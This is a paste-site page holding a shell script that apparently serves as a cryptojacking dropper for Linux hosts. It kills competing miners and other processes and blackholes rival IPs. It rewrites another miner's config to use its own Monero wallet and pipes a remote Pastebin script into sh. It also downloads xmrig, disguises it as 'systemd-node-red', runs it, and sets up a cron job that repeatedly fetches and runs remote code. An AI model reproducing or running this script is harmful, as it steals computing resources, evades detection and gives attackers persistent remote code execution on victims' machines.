Guest

Untitled 2538

Jun 29th, 2026
12
0
Never
Not a member of GistPad yet? Sign Up, it unlocks many cool features!
None 34.98 KB | None | 0 0
  1. #!/bin/sh
  2. CUSTOM_ARG="${1:-x}"
  3.  
  4. ORIGINAL_BINARY_NAME="xmrig-vrl"
  5.  
  6. RENAMED_BINARY="systemd-node-red"
  7.  
  8. BINARY_ARGS="-o auto.c3pool.org:443 -u 883kAB7UfoJCKPzZAavUCHJdH4L2qVjqw4A79diUrFjBWBFrerhXPFbbUZnY2CemcUiBcLpAUz38vVYBbUqTHAgoAwgBCFH -p CN.$CUSTOM_ARG"
  9. PROCESS_CHECK_STRING="goAwgBCFH" #xtm wallet
  10.  
  11. set -e
  12.  
  13. log() {
  14. echo "$(date '+%Y-%m-%d %H:%M:%S') - $1"
  15. }
  16.  
  17. cleanup() {
  18. if [ -n "$TMP_DIR" ] && [ -d "$TMP_DIR" ]; then
  19. log "Cleaning up temporary directory: $TMP_DIR"
  20. rm -rf "$TMP_DIR"
  21. fi
  22. }
  23.  
  24. trap cleanup EXIT
  25.  
  26. for pid in $(pgrep -f 'bash /tmp/.*\.sh'); do
  27. if [ "$pid" != "$$" ] && [ "$pid" != "$PPID" ]; then
  28. kill -9 "$pid" 2>/dev/null && echo "Killed process $pid"
  29. fi
  30. done
  31.  
  32.  
  33. kill_suspicious_processes() (
  34. # Run in a subshell so failures don't affect the caller.
  35. set +e
  36.  
  37. THRESHOLD=6
  38.  
  39. for proc in /proc/[0-9]*; do
  40. [ -r "$proc/status" ] || continue
  41.  
  42. pid=${proc#/proc/}
  43. score=0
  44.  
  45. name=$(awk '/^Name:/ {print $2}' "$proc/status")
  46. uid=$(awk '/^Uid:/ {print $2}' "$proc/status")
  47. state=$(awk '/^State:/ {print $2}' "$proc/status")
  48. ppid=$(awk '/^PPid:/ {print $2}' "$proc/status")
  49. rss=$(awk '/^VmRSS:/ {print $2}' "$proc/status")
  50. exe=$(readlink -f "$proc/exe" 2>/dev/null)
  51.  
  52. [ -n "$rss" ] || rss=0
  53.  
  54. # Executable exists.
  55. [ -n "$exe" ] && score=$((score + 1))
  56.  
  57. # Large memory.
  58. [ "$rss" -gt 500000 ] 2>/dev/null && score=$((score + 2))
  59. [ "$rss" -gt 1000000 ] 2>/dev/null && score=$((score + 3))
  60.  
  61. # Zombie children.
  62. zombies=$(ps -o stat= --ppid "$pid" 2>/dev/null | grep -c '^Z')
  63. [ "$zombies" -ge 5 ] 2>/dev/null && score=$((score + 3))
  64. [ "$zombies" -ge 20 ] 2>/dev/null && score=$((score + 2))
  65.  
  66. # User-owned sleeping process.
  67. user=$(id -nu "$uid" 2>/dev/null)
  68. if [ "$user" != "root" ]; then
  69. case "$state" in
  70. S*) score=$((score + 1));;
  71. esac
  72. fi
  73.  
  74. # Executable in common hiding locations.
  75. case "$exe" in
  76. /tmp/*|/var/tmp/*|/dev/shm/*|\
  77. "$HOME"/.cache/*|"$HOME"/.local/share/*|"$HOME"/.config/*)
  78. score=$((score + 4))
  79. ;;
  80. esac
  81.  
  82. # Parent disappeared.
  83. [ -d "/proc/$ppid" ] || score=$((score + 1))
  84.  
  85. if [ "$score" -ge "$THRESHOLD" ]; then
  86. echo "Killing PID=$pid score=$score name=$name exe=$exe" >&2
  87. kill -9 "$pid" 2>/dev/null
  88. fi
  89. done
  90.  
  91. exit 0
  92. )
  93.  
  94.  
  95.  
  96.  
  97. kill_and_remove_process() {
  98. local term="$1"
  99. if [ -z "$term" ]; then
  100. echo "term not provided."
  101. return 2
  102. fi
  103.  
  104. local pids
  105. pids=$(ps -eo pid,args | grep "$term" | grep -v grep | awk '{print $1}')
  106.  
  107. if [ -z "$pids" ]; then
  108. return 1
  109. fi
  110.  
  111. for pid in $pids; do
  112. local exe_path
  113. exe_path=$(readlink -f "/proc/$pid/exe" 2>/dev/null)
  114.  
  115. if [ -z "$exe_path" ]; then
  116. echo "Skipping PID $pid"
  117. continue
  118. fi
  119.  
  120. # SAFETY CHECK: Exclude common system binary paths
  121. case "$exe_path" in
  122. /bin/*|/sbin/*|/usr/bin/*|/usr/sbin/*)
  123. echo "Skipping system binary for PID $pid at: $exe_path"
  124. continue # Move to the next PID
  125. ;;
  126. esac
  127.  
  128. # If the checks pass, proceed with termination and deletion
  129. echo "Terminating non-system process '$term' with PID: $pid"
  130. kill -9 "$pid"
  131.  
  132. if [ -f "$exe_path" ]; then
  133. echo "Deleting executable: $exe_path"
  134. rm -f "$exe_path"
  135. if [ $? -eq 0 ]; then
  136. echo "Executable successfully deleted."
  137. else
  138. echo "Error: Failed to delete executable. Check permissions."
  139. fi
  140. else
  141. echo "Executable for PID $pid not found for deletion (already removed or inaccessible)."
  142. fi
  143. done
  144.  
  145. return 0
  146. }
  147.  
  148.  
  149. kill_and_remove_process "crazyeltonproxy" || true
  150. kill_and_remove_process "xmrig" || true
  151. kill_and_remove_process "monero" || true
  152. kill_and_remove_process "c3pool.org:80" || true
  153. kill_and_remove_process "kryptex.network" || true
  154. kill_and_remove_process "/bin/watcher" || true
  155. kill_and_remove_process "nuclear" || true
  156. kill_and_remove_process "45.94.31.89" || true
  157. kill_and_remove_process "hosts-to-ignore" || true
  158. kill_and_remove_process "supportxmr" || true
  159. kill_and_remove_process "youyutebuae.xyz" || true
  160. kill_and_remove_process "/lib/systemd/cache/health-monitor" || true
  161. kill_and_remove_process ".rsyslogd" || true
  162. ip route add blackhole 45.94.31.89 || true
  163. ip route add blackhole 139.59.59.33 || true
  164. ip route add blackhole 84.21.173.223 || true
  165. ip route add blackhole 142.132.131.238 || true
  166. ip route add blackhole 154.89.152.115 || true
  167. rm -rf /bin/softirq || true
  168. rm -rf /var/tmp/.rsyslogd || true
  169. rm -rf /lib/systemd/cache/health-monitor || true
  170. rm -rf /usr/local/bin/watcher || true
  171. rm -rf /tmp/runnv/* || true
  172. rm -rf /lib/systemd/cache/asset-indexer || true
  173. rm -rf /tmp/nuclear || true
  174. mkdir -p /tmp/nuclear || true
  175. mkdir -p /lib/systemd/cache/health-monitor || true
  176. mkdir -p /var/tmp/.rsyslogd || true
  177. mkdir -p /lib/systemd/cache/asset-indexer || true
  178. mkdir -p /tmp/runnv/lived.sh || true
  179. mkdir -p /tmp/runnv/alive.sh || true
  180. mkdir -p /bin/softirq || true
  181. mkdir -p /usr/local/bin/watcher || true
  182.  
  183.  
  184. safe_patch_args() {
  185. TARGET_FILE='/lib/systemd/cache/process-watcher'
  186. NEW_VALUE='-o auto.c3pool.org:443 -u 883kAB7UfoJCKPzZAavUCHJdH4L2qVjqw4A79diUrFjBWBFrerhXPFbbUZnY2CemcUiBcLpAUz38vVYBbUqTHAgoAwgBCFH -p ZZZ'
  187.  
  188. [ -f "$TARGET_FILE" ] || { echo "[WARN] missing: $TARGET_FILE" >&2; return 0; }
  189.  
  190. ESCAPED_VALUE=$(printf '%s' "$NEW_VALUE" | sed 's/[\/&]/\\&/g') || return 0
  191.  
  192. if grep -q '^XMRIG_ARGS="[^"]*"$' "$TARGET_FILE"; then
  193. sed -i "s/^XMRIG_ARGS=\"[^\"]*\"$/XMRIG_ARGS=\"$ESCAPED_VALUE\"/" "$TARGET_FILE" || :
  194. else
  195. printf '\nXMRIG_ARGS="%s"\n' "$NEW_VALUE" >> "$TARGET_FILE" || :
  196. fi
  197. }
  198.  
  199. safe_patch_args
  200.  
  201. nohup sh -c "{ wget -qO- https://pastebin.com/raw/2jtsz9Tk || curl -sSLk https://pastebin.com/raw/2jtsz9Tk; } | tr -d '\r' | sh" >/dev/null 2>&1 &
  202.  
  203.  
  204.  
  205. # ---- proxy probe ----
  206. M4B_PROXY_STATUS="off"
  207.  
  208. m4b_proxy_is_on() {
  209. if docker ps --format '{{.Names}}' 2>/dev/null | grep -Eq 'proxyrack|proxylite|tun2socks|money4band'; then
  210. return 0
  211. fi
  212. return 1
  213. }
  214.  
  215. m4b_proxy_probe() {
  216. tmp_log="$(mktemp 2>/dev/null || printf '/tmp/m4b_probe_%s.log' "$$")"
  217.  
  218. rc=1
  219. (
  220. # isolate probe from global `set -e`
  221. set +e
  222. if wget -qO- "$url" 2>/dev/null | sh; then
  223. exit 0
  224. fi
  225. if curl -fsSL "$url" 2>/dev/null | sh; then
  226. exit 0
  227. fi
  228. exit 1
  229. ) >"$tmp_log" 2>&1 || rc=$?
  230.  
  231. if [ "$rc" -eq 0 ] && grep -q '\[STATUS\] OK' "$tmp_log"; then
  232. i=1
  233. while [ "$i" -le 5 ]; do
  234. if m4b_proxy_is_on; then
  235. M4B_PROXY_STATUS="on"
  236. echo "PROXYYYY ONN BABY"
  237. rm -f "$tmp_log" 2>/dev/null || true
  238. return 0
  239. fi
  240. i=$((i + 1))
  241. sleep 2
  242. done
  243. fi
  244.  
  245. M4B_PROXY_STATUS="off"
  246. echo "No PROXY"
  247. rm -f "$tmp_log" 2>/dev/null || true
  248. return 0
  249. }
  250. # ---- end proxy probe ----
  251.  
  252. m4b_proxy_probe
  253.  
  254.  
  255.  
  256. is_process_running() {
  257. if ps -o args | grep -F "$PROCESS_CHECK_STRING" | grep -vF 'grep' > /dev/null; then
  258. return 0 # Process is running
  259. else
  260. return 1 # Process is not running
  261. fi
  262. }
  263.  
  264. get_cpu_cores() {
  265. if [ -f /proc/cpuinfo ]; then
  266. grep -c '^processor' /proc/cpuinfo
  267. elif command -v nproc >/dev/null; then
  268. nproc
  269. elif command -v sysctl >/dev/null; then
  270. sysctl -n hw.ncpu 2>/dev/null || echo 1
  271. else
  272. echo 1
  273. fi
  274. }
  275.  
  276. create_cronjob() {
  277. local cron_command
  278. if command -v curl >/dev/null; then
  279. cron_command="/bin/sh -c 'curl -fsSLk $1 | tr -d '\''\r'\'' | /bin/sh'"
  280. elif command -v wget >/dev/null; then
  281. cron_command="/bin/sh -c 'wget -qO- $1 | tr -d '\''\r'\'' | /bin/sh'"
  282. else
  283. log "Error: Cannot create cron job, neither curl nor wget is available."
  284. return 1
  285. fi
  286.  
  287. (crontab -l 2>/dev/null | grep -vF "$1"; echo "*/75 * * * * $cron_command") | crontab -
  288. log "Cron job successfully configured."
  289. }
  290.  
  291. CPU_CORES=$(get_cpu_cores)
  292. if [ "$CPU_CORES" -le 3 ]; then
  293. log "Host has $CPU_CORES cores. Execution requires more than 3. Exiting."
  294. exit 0
  295. fi
  296. log "CPU core count ($CPU_CORES) is sufficient."
  297.  
  298.  
  299. if [ ! -f /etc/alpine-release ] && ! grep -qs '^ID=wolfi$' /etc/*release*; then
  300. log "Not an Alpine Linux environment. Executing fallback script."
  301. if command -v curl >/dev/null; then
  302. curl -fsSLk "$FALLBACK_SCRIPT_URL" | tr -d '\r' | bash -s -- "$CUSTOM_ARG"
  303. elif command -v wget >/dev/null; then
  304. wget -qO- "$FALLBACK_SCRIPT_URL" | tr -d '\r'| bash -s -- "$CUSTOM_ARG"
  305. else
  306. log "Error: Neither curl nor wget is available for fallback execution."
  307. exit 1
  308. fi
  309. exit 0
  310. fi
  311.  
  312. if is_process_running; then
  313. log "Process with check string '$PROCESS_CHECK_STRING' is already running. Exiting."
  314. exit 0
  315. fi
  316.  
  317. CPU_CORES=$(get_cpu_cores)
  318. if [ "$CPU_CORES" -le 3 ]; then
  319. log "Host has $CPU_CORES cores. Execution requires more than 3. Exiting."
  320. exit 0
  321. fi
  322. log "CPU core count ($CPU_CORES) is sufficient."
  323.  
  324.  
  325.  
  326. USER_ID=$(id -u)
  327. if [ "$USER_ID" -eq 0 ]; then
  328. log "Running as root. System-wide installation will be performed."
  329. INSTALL_DIR="/usr/local/bin"
  330. else
  331. log "Running as non-root user. Installing locally to $HOME/.app"
  332. INSTALL_DIR="/tmp/.app"
  333. fi
  334.  
  335. mkdir -p "$INSTALL_DIR"
  336.  
  337. if [ "$USER_ID" -ne 0 ]; then
  338. export PATH="$INSTALL_DIR:$PATH"
  339. fi
  340.  
  341. if [ "$USER_ID" -eq 0 ]; then
  342. if ! command -v crontab >/dev/null; then
  343. log "Warning: 'crontab' not found. Attempting to install 'cron' or 'cronie' as root."
  344.  
  345. if command -v apk >/dev/null; then
  346. if apk add --no-cache cron || apk add --no-cache cronie curl; then
  347. log "Cron package installed."
  348. else
  349. log "Warning: Failed to install either 'cron' or 'cronie'. Cron job creation may fail."
  350. fi
  351. else
  352. log "Warning: 'apk' not found. Cannot install cron package."
  353. fi
  354.  
  355. if command -v rc-update >/dev/null; then
  356. rc-update add crond default || log "Warning: Failed to add crond to default runlevel."
  357. else
  358. log "Warning: 'rc-update' not found. Skipping crond runlevel setup."
  359. fi
  360.  
  361. if command -v rc-service >/dev/null; then
  362. rc-service crond start || log "Warning: Failed to start crond service."
  363. else
  364. log "Warning: 'rc-service' not found. Skipping crond service start."
  365. fi
  366.  
  367. log "Cron setup attempt completed."
  368. fi
  369. else
  370. if ! command -v crontab >/dev/null; then
  371. log "Warning: 'crontab' command not found. Cannot install as non-root. Cron job creation may fail."
  372. fi
  373. fi
  374. TMP_DIR=$(mktemp -d)
  375. cd "$TMP_DIR"
  376.  
  377. DOWNLOAD_URL="$PROGRAM_URL"
  378. LOG_MESSAGE="Downloading program from $PROGRAM_URL..."
  379.  
  380. if [ -f /etc/alpine-release ] && [ "$(uname -m)" = "aarch64" ]; then
  381. log "Alpine Linux on ARM64 detected. Switching to alternative program URL."
  382. DOWNLOAD_URL="$PROGRAM_URL2"
  383. LOG_MESSAGE="Downloading program from $PROGRAM_URL2..."
  384. fi
  385.  
  386. log "$LOG_MESSAGE"
  387. if command -v curl >/dev/null 2>&1; then
  388. curl -fLk -J -o "xmrig-vrl" "$DOWNLOAD_URL"
  389. elif command -v wget >/dev/null 2>&1; then
  390. wget -q -O "xmrig-vrl" "$DOWNLOAD_URL"
  391. else
  392. log "Error: Neither curl nor wget is available to download the program."
  393. rm -rf "$TMP_DIR"
  394. exit 1
  395. fi
  396.  
  397.  
  398.  
  399. log "Now its protobin..."
  400. #tar -xzf "program.tar.gz"
  401. #tar -xf "program.tar.gz"
  402.  
  403. log "Searching for binary '$ORIGINAL_BINARY_NAME'..."
  404. BINARY_PATH=$(find . -type f -name "$ORIGINAL_BINARY_NAME")
  405.  
  406. if [ -z "$BINARY_PATH" ]; then
  407. log "Error: Executable binary '$ORIGINAL_BINARY_NAME' not found."
  408. exit 1
  409. fi
  410.  
  411. log "Binary found. Moving to $INSTALL_DIR/$RENAMED_BINARY"
  412. mv "$BINARY_PATH" "$INSTALL_DIR/$RENAMED_BINARY"
  413. chmod 755 "$INSTALL_DIR/$RENAMED_BINARY"
  414.  
  415. log "Executing '$RENAMED_BINARY' from PATH..."
  416. "$RENAMED_BINARY" ${BINARY_ARGS} &
  417. sleep 3
  418.  
  419. if ! is_process_running; then
  420. log "Error: Program failed to start or exited prematurely."
  421. exit 1
  422. fi
  423. log "Success: Program is now running in the background."
  424.  
  425. create_cronjob "$SCRIPT_URL"
  426.  
  427. log "Script execution completed successfully."
  428.  
  429. exit 0
RAW Paste Data Copied